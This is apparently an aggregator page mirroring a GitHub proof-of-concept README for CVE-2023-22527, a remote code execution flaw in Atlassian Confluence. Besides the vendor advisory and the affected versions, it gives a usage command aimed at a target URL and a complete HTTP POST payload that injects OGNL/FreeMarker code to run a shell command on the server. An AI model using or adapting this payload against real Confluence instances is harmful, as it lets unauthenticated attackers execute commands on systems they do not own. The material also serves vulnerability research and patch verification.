CVE-2023-22527 PoC — Atlassian Confluence 安全漏洞

Source

https://github.com/AxthonyV/CVE-2023-22527

Associated Vulnerability

Title:Atlassian Confluence 安全漏洞 (CVE-2023-22527)
Description:A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action. Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.

Description

script for exploiting CVE-2023-22527, which is described as a Server-Side Template Injection (SSTI) vulnerability in Atlassian Confluence

Readme

# CVE-2023-22527
CVE-2023-22527 | RCE using SSTI in Confluence


# Description
* CVE-2023-22527 refers to an ServerSide template injection vulnerability in freemarker engine that allows users to execute command on the webserver.
* This code is a proof-of-concept (PoC) script for exploiting CVE-2023-22527, which is described as a Server-Side Template Injection (SSTI) vulnerability in Atlassian Confluence.



# USAGE
```
python3 CVE-2023-22527.py -u  http://target.com
```

# Payload
```
POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 278

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"id"}))
```

# Affected versions
```
8.0.x
8.1.x
8.2.x
8.3.x
8.4.x
8.5.0-8.5.3
```

# References
* [projectdiscovery](https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/)

File Snapshot


 [4.0K]  /data/pocs/0d0d33249575a30d535cdb80a4c4ccc09fe742fa
├── [2.8K]  CVE-2023-22527.py
├── [1.0K]  LICENSE
└── [1.1K]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!